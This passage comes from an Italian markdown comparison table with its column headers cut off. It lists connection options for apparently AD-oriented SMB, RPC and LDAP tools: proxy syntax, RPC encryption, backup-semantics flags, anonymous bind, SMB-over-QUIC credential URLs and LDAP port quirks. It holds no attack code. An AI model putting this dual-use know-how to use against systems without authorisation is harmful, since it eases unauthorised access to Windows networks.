| SOCKS4 | n/a | n/a | n/a | n/a | n/a | n/a | ?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080 |
| Cifratura RPC | n/a | n/a | -EncryptRpc | n/a | n/a | auto | n/a (la firma SMB viene negoziata automaticamente) |
| Semantiche di backup | n/a | n/a | -BackupSemantics (Reg) / -UseBackupSemantics (Smb2Client) | n/a | n/a | n/a | n/a |
| Bind anonimo | limitato | — | non documentato | n/a | ldap://192.168.1.1 | n/a | n/a |
| QUIC (Azure) | n/a | n/a | n/a | n/a | n/a | n/a | smb+quic+ntlm-password://DOMAIN\user:Pass@host |
| Porta LDAP | (LDAP diretto) | -port 389 obbligatorio (il default 445 interrompe gli strumenti LDAP) | (LDAP diretto) | (porta nell'URL) | (porta nell'URL) | — | — |